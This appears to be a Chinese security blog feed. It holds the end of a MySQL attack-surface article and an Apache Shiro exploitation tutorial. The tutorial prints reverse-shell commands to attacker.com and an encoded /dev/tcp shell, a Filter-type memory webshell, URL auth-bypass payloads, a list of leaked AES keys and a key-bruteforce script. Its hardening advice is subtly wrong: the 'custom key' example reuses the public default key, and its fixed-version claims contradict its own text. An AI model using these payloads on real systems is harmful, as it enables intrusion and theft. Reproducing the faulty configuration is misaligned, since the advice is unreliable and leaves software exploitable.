table_schema, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' OR table_name LIKE '%admin%' OR table_name LIKE '%password%' OR table_name LIKE '%config%' OR table_name LIKE '%credential%' OR table_name LIKE '%secret%'; -- 查找包含敏感列的表 SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%password%' OR column_name LIKE '%pwd%' OR column_name LIKE '%pass%' OR column_name LIKE '%secret%' OR column_name LIKE '%token%' OR column_name LIKE '%key%'; 11.4 提权可能性评估 检查项 命令 详见章节 UDF提权 SELECT * FROM mysql.func; SHOW VARIABLES LIKE 'plugin_dir'; 第二章 文件读写 SELECT LOAD_FILE('/etc/passwd'); 第四章 日志写入WebShell SHOW VARIABLES LIKE 'general_log%'; 第四章4.3节 SUID提权 find / -perm -4000 -type f 2&gt;/dev/null \| grep mysql 第七章7.3节 11.5 后门检测 -- 触发器、存储过程、事件、视图（参见 7.5-7.7, 7.12 节） SELECT TRIGGER_SCHEMA, TRIGGER_NAME, ACTION_STATEMENT FROM information_schema.TRIGGERS; SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_DEFINITION FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE'; SELECT EVENT_SCHEMA, EVENT_NAME, EVENT_DEFINITION, STATUS FROM information_schema.EVENTS; SELECT TABLE_SCHEMA, TABLE_NAME, VIEW_DEFINITION, SECURITY_TYPE FROM information_schema.VIEWS; 11.6 渗透测试报告模板 # MySQL安全评估报告 ## 1. 目标信息 - 服务器地址：xxx.xxx.xxx.xxx - MySQL版本：x.x.x - 操作系统：Linux/Windows ## 2. 发现的漏洞 ### 高危漏洞 - [ ] 存在空密码账号 - [ ] root账号允许远程登录 - [ ] 存在SQL注入漏洞 - [ ] FILE权限配置不当，可读写任意文件 - [ ] 存在已知CVE漏洞（CVE-xxxx-xxxx） - [ ] 可通过UDF提权 ### 中危漏洞 - [ ] 弱密码账号 - [ ] 权限配置过大 - [ ] 未启用SSL加密 - [ ] 日志配置不当 - [ ] 存在可疑的触发器/存储过程 - [ ] 使用DEFINER视图暴露敏感数据 ### 低危漏洞 - [ ] 版本信息泄露 - [ ] 配置信息泄露 - [ ] 未启用连接控制插件 ## 3. 修复建议 （根据发现的漏洞提供具体修复方案） 十二、总结 MySQL的攻击面非常广泛，本文涵盖了以下主要攻击向量： 1. 注入类攻击 SQL注入（联合查询、报错、布尔盲注、时间盲注、堆叠注入） 预处理语句绕过WAF 宽字节注入（字符集转换绕过） 注释绕过 2. 提权类攻击 UDF提权（自定义函数执行系统命令） MOF提权（⚠️ 历史遗留，仅 Windows 2000/XP/2003） SUID提权（利用特殊权限位） 3. 文件操作类攻击 任意文件读取（LOAD_FILE） 任意文件写入（INTO OUTFILE/DUMPFILE） 日志投毒（general_log、slow_query_log） 4. 认证与授权类攻击 弱口令爆破 并发条件竞争绕过（CVE-2012-2122） 视图DEFINER提权 配置文件注入（CVE-2016-6662） 5. 持久化类攻击 触发器后门（Trigger Backdoor） 存储过程后门（Stored Procedure） 事件调度器后门（Event Scheduler） 6. 信息泄露类攻击 版本信息泄露 用户信息泄露 配置信息泄露 进程列表泄露 7. 网络类攻击 UNC路径触发NTLM认证（Windows） 恶意MySQL服务端读取客户端文件（Fake MySQL Server） DNS外带数据 MySQL Proxy中间人攻击 8. 拒绝服务类攻击 ReDoS（正则表达式DoS） 笛卡尔积资源耗尽 递归查询栈溢出 9. 主从复制类攻击 从库劫持 复制链路窃听 10. 历史重大CVE漏洞 CVE-2012-2122（认证绕过） CVE-2016-6662（配置文件注入RCE） CVE-2016-6663（条件竞争提权） CVE-2016-6664（错误日志提权到root） CVE-2023-21980（Client程序漏洞） CVE-2024-21201（Optimizer DoS） 防御建议总结 网络层防护： 禁止MySQL端口暴露在公网 使用防火墙限制访问来源 启用SSL/TLS加密传输，设置 require_secure_transport=ON 修改默认端口3306 同时限制X Protocol端口33060 认证层防护： 删除匿名用户和test数据库 禁止root远程登录 启用强密码策略（validate_password组件） 使用 caching_sha2_password 认证插件 安装 connection_control 插件防暴力破解 配置密码过期和历史策略 权限层防护： 遵循最小权限原则 应用账号禁止授予FILE、SUPER等高危权限 使用角色（Roles）统一管理权限 定期审计用户权限 及时删除不再使用的账号 文件系统层防护： 设置 secure_file_priv = NULL 禁止文件操作 插件目录权限设为仅MySQL可读 MySQL服务以低权限用户运行 关闭生产环境的general_log 应用层防护： 所有SQL查询使用预编译语句/参数化查询 统一使用UTF-8编码，防止宽字节注入 输入进行白名单验证 错误信息不要暴露给前端 使用WAF作为辅助防御 监控与审计： 定期审计UDF、触发器、存储过程、事件、视图 监控异常登录和查询行为 启用审计日志记录敏感操作 定期检查配置文件是否被篡改 版本管理： 保持MySQL在最新稳定版本 及时修补已知安全漏洞 关注MySQL官方安全公告（Oracle Critical Patch Updates） 安全加固需要从网络层、认证层、权限层、文件系统层、应用层等多个维度进行纵深防御。没有绝对的安全，只有持续的监控和不断的改进。 参考资源 MySQL官方安全指南 OWASP SQL注入防护备忘单 CVE-2012-2122 MySQL认证绕过漏洞 CVE-2016-6662 MySQL配置文件注入漏洞 CVE-2016-6663/6664 MySQL权限提升漏洞 MySQL UDF提权技术详解 Percona MySQL审计插件 Oracle MySQL Critical Patch Updates 免责声明：本文仅供安全研究和学习交流使用，请勿用于非法用途。未经授权对他人系统进行渗透测试属于违法行为。使用本文内容造成的任何后果，作者不承担任何责任。]]></summary></entry><entry><title type="html">Apache Shiro安全配置与漏洞利用</title><link href="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/02/16/Apache-Shiro%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/" rel="alternate" type="text/html" title="Apache Shiro安全配置与漏洞利用" /><published>2026-02-16T00:00:00+00:00</published><updated>2026-02-16T00:00:00+00:00</updated><id>https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/02/16/Apache%20Shiro%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8</id><content type="html" xml:base="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/02/16/Apache-Shiro%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"><![CDATA[<h1 id="apache-shiro安全配置与漏洞利用">Apache Shiro安全配置与漏洞利用</h1>

<p>Apache Shiro是一个功能强大且易于使用的Java安全框架，提供了认证、授权、加密和会话管理功能。然而，由于其设计缺陷和配置不当，Shiro成为了Java Web应用中最常见的攻击入口之一。本文将从攻击者视角全面梳理Shiro的各个攻击面，并给出对应的防御方案。</p>

<hr />

<h2 id="一apache-shiro基础">一、Apache Shiro基础</h2>

<h3 id="11-什么是apache-shiro">1.1 什么是Apache Shiro</h3>

<p>Apache Shiro是一个轻量级的Java安全框架，主要功能包括：</p>
<ul>
  <li><strong>Authentication（认证）</strong>：验证用户身份，即登录</li>
  <li><strong>Authorization（授权）</strong>：访问控制，判断用户是否有权限执行某操作</li>
  <li><strong>Session Management（会话管理）</strong>：管理用户会话，即使在非Web环境下</li>
  <li><strong>Cryptography（加密）</strong>：使用加密算法保护数据安全</li>
</ul>

<h3 id="12-shiro核心组件">1.2 Shiro核心组件</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Subject（主体）
    ↓
SecurityManager（安全管理器）
    ↓
Realm（领域）
    ↓
数据源（数据库、LDAP等）
</code></pre></div></div>

<p><strong>核心概念</strong>：</p>
<ul>
  <li><strong>Subject</strong>：当前操作用户，可以是人也可以是第三方服务</li>
  <li><strong>SecurityManager</strong>：安全管理器，Shiro的核心，管理所有Subject</li>
  <li><strong>Realm</strong>：域，Shiro从Realm获取安全数据（用户、角色、权限）</li>
  <li><strong>Session</strong>：会话，Shiro提供的会话管理</li>
  <li><strong>Cryptography</strong>：加密组件，用于加密和解密</li>
</ul>

<h3 id="13-shiro的rememberme机制">1.3 Shiro的RememberMe机制</h3>

<p>Shiro的RememberMe功能允许用户在关闭浏览器后仍然保持登录状态。其工作流程：</p>

<ol>
  <li>用户登录时勾选”记住我”</li>
  <li>Shiro将用户信息序列化</li>
  <li>使用AES加密序列化数据</li>
  <li>Base64编码后存储在Cookie中（rememberMe字段）</li>
  <li>下次访问时，Shiro读取Cookie</li>
  <li>Base64解码 → AES解密 → 反序列化 → 恢复用户信息</li>
</ol>

<p><strong>这个机制是Shiro最大的安全隐患所在。</strong></p>

<hr />

<h2 id="二shiro反序列化漏洞">二、Shiro反序列化漏洞</h2>

<h3 id="21-shiro-550cve-2016-4437">2.1 Shiro-550（CVE-2016-4437）</h3>

<p>这是Shiro历史上最严重的漏洞，影响范围极广。</p>

<p><strong>漏洞原理</strong>：
Shiro 1.2.4及之前版本使用硬编码的AES密钥加密RememberMe Cookie。攻击者可以：</p>
<ol>
  <li>使用已知密钥构造恶意序列化对象</li>
  <li>AES加密后Base64编码</li>
  <li>发送恶意Cookie</li>
  <li>服务端解密并反序列化，触发RCE</li>
</ol>

<p><strong>硬编码密钥</strong>：</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// org.apache.shiro.mgt.AbstractRememberMeManager</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="no">DEFAULT_CIPHER_KEY_BYTES</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span>
    <span class="s">"kPH+bIxk5D2deZiIxcaaaA=="</span>
<span class="o">);</span>
</code></pre></div></div>

<p><strong>受影响版本</strong>：</p>
<ul>
  <li>Apache Shiro &lt; 1.2.5</li>
</ul>

<p><strong>漏洞利用</strong>：</p>

<p>利用工具：<code class="language-plaintext highlighter-rouge">shiro_tool.jar</code> 或 <code class="language-plaintext highlighter-rouge">ShiroExploit</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 使用 ShiroExploit 进行漏洞检测</span>
java <span class="nt">-jar</span> ShiroExploit.jar <span class="nt">-t</span> http://target.com/login

<span class="c"># 验证密钥是否存在</span>
python3 shiro_exploit.py <span class="nt">-u</span> http://target.com/login <span class="nt">-k</span> <span class="s2">"kPH+bIxk5D2deZiIxcaaaA=="</span>
</code></pre></div></div>

<p><strong>利用链选择</strong>：</p>

<table>
  <thead>
    <tr>
      <th>利用链</th>
      <th>依赖要求</th>
      <th>适用场景</th>
      <th>成功率</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CommonsBeanutils1</td>
      <td>无特殊依赖</td>
      <td>通用</td>
      <td>★★★★★</td>
    </tr>
    <tr>
      <td>CommonsCollections2/3/4</td>
      <td>commons-collections</td>
      <td>存在依赖时</td>
      <td>★★★★☆</td>
    </tr>
    <tr>
      <td>Spring1/Spring2</td>
      <td>Spring框架</td>
      <td>Spring项目</td>
      <td>★★★☆☆</td>
    </tr>
    <tr>
      <td>Jdk7u21</td>
      <td>JDK &lt; 7u21</td>
      <td>老版本JDK</td>
      <td>★★★☆☆</td>
    </tr>
  </tbody>
</table>

<p><strong>CommonsBeanutils1 为什么不需要依赖？</strong></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Shiro 本身依赖了 commons-beanutils</span>
<span class="c1">// org.apache.shiro:shiro-core -&gt; commons-beanutils:commons-beanutils</span>

<span class="c1">// 利用链原理：</span>
<span class="c1">// PriorityQueue.readObject() </span>
<span class="c1">//   -&gt; TransformingComparator.compare()</span>
<span class="c1">//     -&gt; BeanComparator.compare()</span>
<span class="c1">//       -&gt; PropertyUtils.getProperty()</span>
<span class="c1">//         -&gt; TemplatesImpl.getOutputProperties()</span>
<span class="c1">//           -&gt; 加载恶意字节码</span>
</code></pre></div></div>

<p><strong>ysoserial 生成 Payload</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 基础用法</span>
java <span class="nt">-jar</span> ysoserial.jar CommonsBeanutils1 <span class="s2">"touch /tmp/pwned"</span> <span class="o">&gt;</span> payload.bin

<span class="c"># 结合 JRMP 监听器</span>
java <span class="nt">-cp</span> ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 <span class="s2">"calc.exe"</span>

<span class="c"># 生成 base64 编码的 payload</span>
java <span class="nt">-jar</span> ysoserial.jar CommonsBeanutils1 <span class="s2">"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{base64,-d}|{bash,-i}"</span> | <span class="nb">base64</span>
</code></pre></div></div>

<p><strong>依赖检测方法</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. 检查 lib 目录</span>
<span class="nb">ls </span>WEB-INF/lib/ | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s2">"commons-collections|spring"</span>

<span class="c"># 2. 错误回显判断</span>
<span class="c"># 发送 payload 后，如果返回 500 且包含 ClassNotFoundException</span>
<span class="c"># 说明缺少对应依赖</span>

<span class="c"># 3. 使用 dnslog 探测</span>
<span class="c"># 分别尝试不同利用链，看哪个能触发 DNS 请求</span>
</code></pre></div></div>

<h3 id="22-shiro-721cve-2019-12422">2.2 Shiro-721（CVE-2019-12422）</h3>

<p><strong>漏洞原理</strong>：
Shiro 1.2.5-1.4.1 版本使用 AES-128-CBC 加密，密钥虽然不再硬编码，但使用了 <strong>Padding Oracle Attack</strong>（填充预言攻击）可以逆向破解密钥。</p>

<p><strong>攻击条件</strong>：</p>
<ol>
  <li>需要任意一个有效的 rememberMe Cookie</li>
  <li>服务端使用 CBC 模式加密</li>
  <li>可以观察到不同的错误响应（解密失败 vs 反序列化失败）</li>
</ol>

<p><strong>利用过程</strong>：</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 使用 rememberMe 字段进行 Padding Oracle 攻击
# 逐步修改密文，观察响应差异
# 最终解密出 AES 密钥
</span></code></pre></div></div>

<p><strong>受影响版本</strong>：</p>
<ul>
  <li>Apache Shiro 1.2.5 - 1.4.1</li>
</ul>

<h3 id="23-shiro-778cve-2021-41303">2.3 Shiro-778（CVE-2021-41303）</h3>

<p><strong>漏洞原理</strong>：
Shiro 1.7.0 版本之前的 <code class="language-plaintext highlighter-rouge">RegExPatternMatcher</code> 存在缺陷，攻击者可以通过构造包含控制字符的路径绕过权限检查。</p>

<p><strong>绕过方式</strong>：</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/admin/user → 需要认证
/admin/user%0a → 绕过认证（%0a 是换行符）
/admin/user%0d → 绕过认证（%0d 是回车符）
</code></pre></div></div>

<p><strong>根本原因</strong>：
正则表达式匹配时未对控制字符做过滤，导致匹配失败但实际访问成功。</p>

<p><strong>受影响版本</strong>：</p>
<ul>
  <li>Apache Shiro &lt; 1.7.1</li>
</ul>

<hr />

<h3 id="24-其他高危漏洞">2.4 其他高危漏洞</h3>

<h4 id="cve-2022-40664---认证绕过">CVE-2022-40664 - 认证绕过</h4>

<p><strong>漏洞原理</strong>：
Shiro 1.10.0 之前的版本，当使用 <code class="language-plaintext highlighter-rouge">RegexRequestMatcher</code> 时，可能导致身份验证绕过。</p>

<p><strong>影响</strong>：</p>
<ul>
  <li>Apache Shiro &lt; 1.10.0</li>
</ul>

<p><strong>修复方案</strong>：
升级到 1.10.0 或以上版本。</p>

<h3 id="25-shiro权限绕过漏洞">2.5 Shiro权限绕过漏洞</h3>

<h4 id="251-cve-2020-11989">2.5.1 CVE-2020-11989</h4>

<p><strong>漏洞原理</strong>：
Shiro 与 Spring 集成时，URL 解析差异导致权限绕过。</p>

<p><strong>绕过方式</strong>：</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>正常访问：/admin/user → 需要认证
绕过路径：/admin/user/ → 绕过认证
          /admin/user/. → 绕过认证
</code></pre></div></div>

<p><strong>根本原因</strong>：</p>
<ul>
  <li>Shiro：<code class="language-plaintext highlighter-rouge">PathMatchingFilter</code> 使用 <code class="language-plaintext highlighter-rouge">endsWith</code> 匹配</li>
  <li>Spring：<code class="language-plaintext highlighter-rouge">@RequestMapping</code> 会规范化路径</li>
</ul>

<h4 id="232-cve-2020-13933">2.3.2 CVE-2020-13933</h4>

<p><strong>漏洞原理</strong>：
编码问题导致的权限绕过。</p>

<p><strong>绕过方式</strong>：</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/admin/user  → 需要认证
/admin/%3buser → 绕过认证（;编码为%3b）
/admin/%2euser → 绕过认证（.编码为%2e）
</code></pre></div></div>

<h4 id="233-cve-2020-17510">2.3.3 CVE-2020-17510</h4>

<p><strong>漏洞原理</strong>：
Shiro 1.5.0-1.5.3 在处理 URL 路径时的缺陷。</p>

<p><strong>绕过方式</strong>：</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/admin/user → 需要认证
/admin/user/..;/index → 绕过认证
</code></pre></div></div>

<p><strong>完整利用流程示例</strong>：</p>

<p><strong>场景</strong>：某系统使用 Shiro 1.2.4，发现 rememberMe=deleteMe</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Step 1: 确认存在 Shiro</span>
➜ curl <span class="nt">-s</span> <span class="nt">-o</span> /dev/null <span class="nt">-w</span> <span class="s2">"%{http_code}"</span> http://target.com/login <span class="nt">-H</span> <span class="s2">"Cookie: rememberMe=test"</span>
200
<span class="c"># 查看响应头包含 rememberMe=deleteMe，确认存在 Shiro</span>

<span class="c"># Step 2: 使用工具检测密钥</span>
➜ python3 shiro.py <span class="nt">-u</span> http://target.com/login
<span class="o">[</span>+] 正在检测密钥...
<span class="o">[</span>+] 发现密钥: kPH+bIxk5D2deZiIxcaaaA<span class="o">==</span>

<span class="c"># Step 3: 尝试执行命令</span>
➜ python3 shiro.py <span class="nt">-u</span> http://target.com/login <span class="nt">-k</span> <span class="s2">"kPH+bIxk5D2deZiIxcaaaA=="</span> <span class="nt">-c</span> <span class="s2">"whoami"</span>
<span class="o">[</span>+] 目标系统: Linux
<span class="o">[</span>+] 命令执行成功: www-data

<span class="c"># Step 4: 获取 Shell</span>
<span class="c"># 本地监听</span>
➜ nc <span class="nt">-lvvp</span> 4444

<span class="c"># 发送反弹 shell payload</span>
➜ python3 shiro.py <span class="nt">-u</span> http://target.com/login <span class="nt">-k</span> <span class="s2">"kPH+bIxk5D2deZiIxcaaaA=="</span> <span class="se">\</span>
  <span class="nt">-c</span> <span class="s2">"bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1"</span>

<span class="c"># Step 5: 注入内存马（可选）</span>
<span class="c"># 通过反序列化注入 Filter 型内存马</span>
<span class="c"># 访问: http://target.com/?cmd=whoami</span>
</code></pre></div></div>

<hr />

<h2 id="三shiro漏洞实战利用">三、Shiro漏洞实战利用</h2>

<h3 id="31-信息收集">3.1 信息收集</h3>

<p><strong>识别 Shiro 应用</strong>：</p>

<ol>
  <li><strong>Cookie 特征</strong>：
    <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">Set-Cookie: rememberMe=deleteMe
</span></code></pre></div>    </div>
  </li>
  <li><strong>响应头特征</strong>：
    <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">X-Powered-By: Shiro
</span></code></pre></div>    </div>
  </li>
  <li><strong>URL 特征</strong>：
    <ul>
      <li><code class="language-plaintext highlighter-rouge">/login</code></li>
      <li><code class="language-plaintext highlighter-rouge">/logout</code></li>
      <li><code class="language-plaintext highlighter-rouge">/unauthorized</code></li>
    </ul>
  </li>
</ol>

<p><strong>检测脚本</strong>：</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>

<span class="k">def</span> <span class="nf">detect_shiro</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">'Cookie'</span><span class="p">:</span> <span class="s">'rememberMe=test'</span>
    <span class="p">}</span>
    <span class="n">resp</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">allow_redirects</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
    
    <span class="k">if</span> <span class="s">'rememberMe=deleteMe'</span> <span class="ow">in</span> <span class="nb">str</span><span class="p">(</span><span class="n">resp</span><span class="p">.</span><span class="n">headers</span><span class="p">):</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] </span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s"> 可能存在 Shiro 漏洞"</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">True</span>
    <span class="k">return</span> <span class="bp">False</span>
</code></pre></div></div>

<h3 id="32-密钥爆破">3.2 密钥爆破</h3>

<p><strong>常见密钥列表</strong>：</p>

<p><strong>Shiro 官方默认密钥（1.2.4及之前）</strong>：</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kPH+bIxk5D2deZiIxcaaaA==
</code></pre></div></div>

<p><strong>网上公开的常见密钥（收集自GitHub、漏洞复现文章）</strong>：</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wGiHplamyXlVB11UXWol8g==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
Z3VucwAAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
U3ByaW5nQmxhZGUAAAAAAA==
MWJjNmQ3MjEzMzZjODM2NQ==
ZGVmYXVsdF9jaXBoZXJrZXk=
2itfHvFqDZF7Htc1vT1wcQ==
QJpM8T7rSZAGXvF0QwKoQA==
</code></pre></div></div>

<p><strong>密钥收集工具</strong>：</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 使用 fofa 语法搜索 Shiro 应用</span>
<span class="nv">title</span><span class="o">=</span><span class="s2">"Shiro"</span> <span class="o">&amp;&amp;</span> <span class="nv">body</span><span class="o">=</span><span class="s2">"rememberMe"</span>

<span class="c"># 使用 nuclei 批量检测</span>
nuclei <span class="nt">-l</span> urls.txt <span class="nt">-t</span> shiro-detection.yaml

<span class="c"># 使用 xray 主动扫描</span>
xray webscan <span class="nt">--plugins</span> shiro <span class="nt">--url</span> http://target.com
</code></pre></div></div>

<p><strong>爆破脚本</strong>：</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>

<span class="k">def</span> <span class="nf">check_key</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
    <span class="c1"># 构造序列化 payload（简单的 DNSLog）
</span>    <span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xac\xed</span><span class="s">...'</span>  <span class="c1"># ysoserial 生成的 payload
</span>    
    <span class="c1"># AES 加密
</span>    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">key</span><span class="p">),</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="o">=</span><span class="sa">b</span><span class="s">'1234567890123456'</span><span class="p">)</span>
    <span class="n">encrypted</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
    
    <span class="c1"># 发送请求
</span>    <span class="n">cookie</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">encrypted</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>
    <span class="n">resp</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="p">{</span><span class="s">'rememberMe'</span><span class="p">:</span> <span class="n">cookie</span><span class="p">})</span>
    
    <span class="c1"># 根据响应判断
</span>    <span class="k">if</span> <span class="s">'deleteMe'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">resp</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'Set-Cookie'</span><span class="p">,</span> <span class="s">''</span><span class="p">):</span>
        <span class="k">return</span> <span class="bp">True</span>
    <span class="k">return</span> <span class="bp">False</span>
</code></pre></div></div>

<h3 id="33-回显与内存马">3.3 回显与内存马</h3>

<p><strong>命令回显方法</strong>：</p>

<ol>
  <li><strong>Tomcat 回显</strong>：利用 Tomcat 全局存储 Response 对象</li>
  <li><strong>Spring 回显</strong>：利用 RequestContextHolder 获取当前请求</li>
  <li><strong>字节码修改</strong>：修改关键类的 toString 方法</li>
</ol>

<p><strong>内存马注入</strong>：</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Filter 型内存马</span>
<span class="nc">Filter</span> <span class="n">filter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Filter</span><span class="o">()</span> <span class="o">{</span>
    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">doFilter</span><span class="o">(</span><span class="nc">ServletRequest</span> <span class="n">req</span><span class="o">,</span> <span class="nc">ServletResponse</span> <span class="n">resp</span><span class="o">,</span> <span class="nc">FilterChain</span> <span class="n">chain</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">cmd</span> <span class="o">=</span> <span class="n">req</span><span class="o">.</span><span class="na">getParameter</span><span class="o">(</span><span class="s">"cmd"</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">cmd</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="n">cmd</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="n">chain</span><span class="o">.</span><span class="na">doFilter</span><span class="o">(</span><span class="n">req</span><span class="o">,</span> <span class="n">resp</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">};</span>
<span class="c1">// 注册到 FilterChain</span>
</code></pre></div></div>

<hr />

<h2 id="四防御方案">四、防御方案</h2>

<h3 id="41-升级版本">4.1 升级版本</h3>

<p><strong>推荐版本</strong>：</p>
<ul>
  <li>Apache Shiro &gt;= 1.7.1（修复已知所有绕过漏洞）</li>
  <li>Apache Shiro &gt;= 1.5.3（修复 Padding Oracle）</li>
  <li>Apache Shiro &gt;= 1.2.5（修复默认密钥）</li>
</ul>

<p><strong>Maven 依赖升级</strong>：</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;dependency&gt;</span>
    <span class="nt">&lt;groupId&gt;</span>org.apache.shiro<span class="nt">&lt;/groupId&gt;</span>
    <span class="nt">&lt;artifactId&gt;</span>shiro-core<span class="nt">&lt;/artifactId&gt;</span>
    <span class="nt">&lt;version&gt;</span>1.12.0<span class="nt">&lt;/version&gt;</span>
<span class="nt">&lt;/dependency&gt;</span>
</code></pre></div></div>

<h3 id="42-密钥安全">4.2 密钥安全</h3>

<p><strong>生成随机密钥</strong>：</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 生成 128/256 位随机密钥</span>
<span class="kt">byte</span><span class="o">[]</span> <span class="n">keyBytes</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="mi">16</span><span class="o">];</span> <span class="c1">// 128位</span>
<span class="k">new</span> <span class="nf">SecureRandom</span><span class="o">().</span><span class="na">nextBytes</span><span class="o">(</span><span class="n">keyBytes</span><span class="o">);</span>
<span class="nc">String</span> <span class="n">base64Key</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">encodeToString</span><span class="o">(</span><span class="n">keyBytes</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"AES Key: "</span> <span class="o">+</span> <span class="n">base64Key</span><span class="o">);</span>
</code></pre></div></div>

<p><strong>配置密钥</strong>：</p>
<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># shiro.ini
</span><span class="nn">[main]</span>
<span class="c"># 使用自定义密钥
</span><span class="py">rememberMeManager.cipherKey</span> <span class="p">=</span> <span class="s">kPH+bIxk5D2deZiIxcaaaA==</span>

<span class="c"># 或者使用 KeyGenerator
</span><span class="py">credentialsMatcher.hashIterations</span> <span class="p">=</span> <span class="s">1024</span>
<span class="py">credentialsMatcher.hashAlgorithmName</span> <span class="p">=</span> <span class="s">SHA-256</span>
</code></pre></div></div>

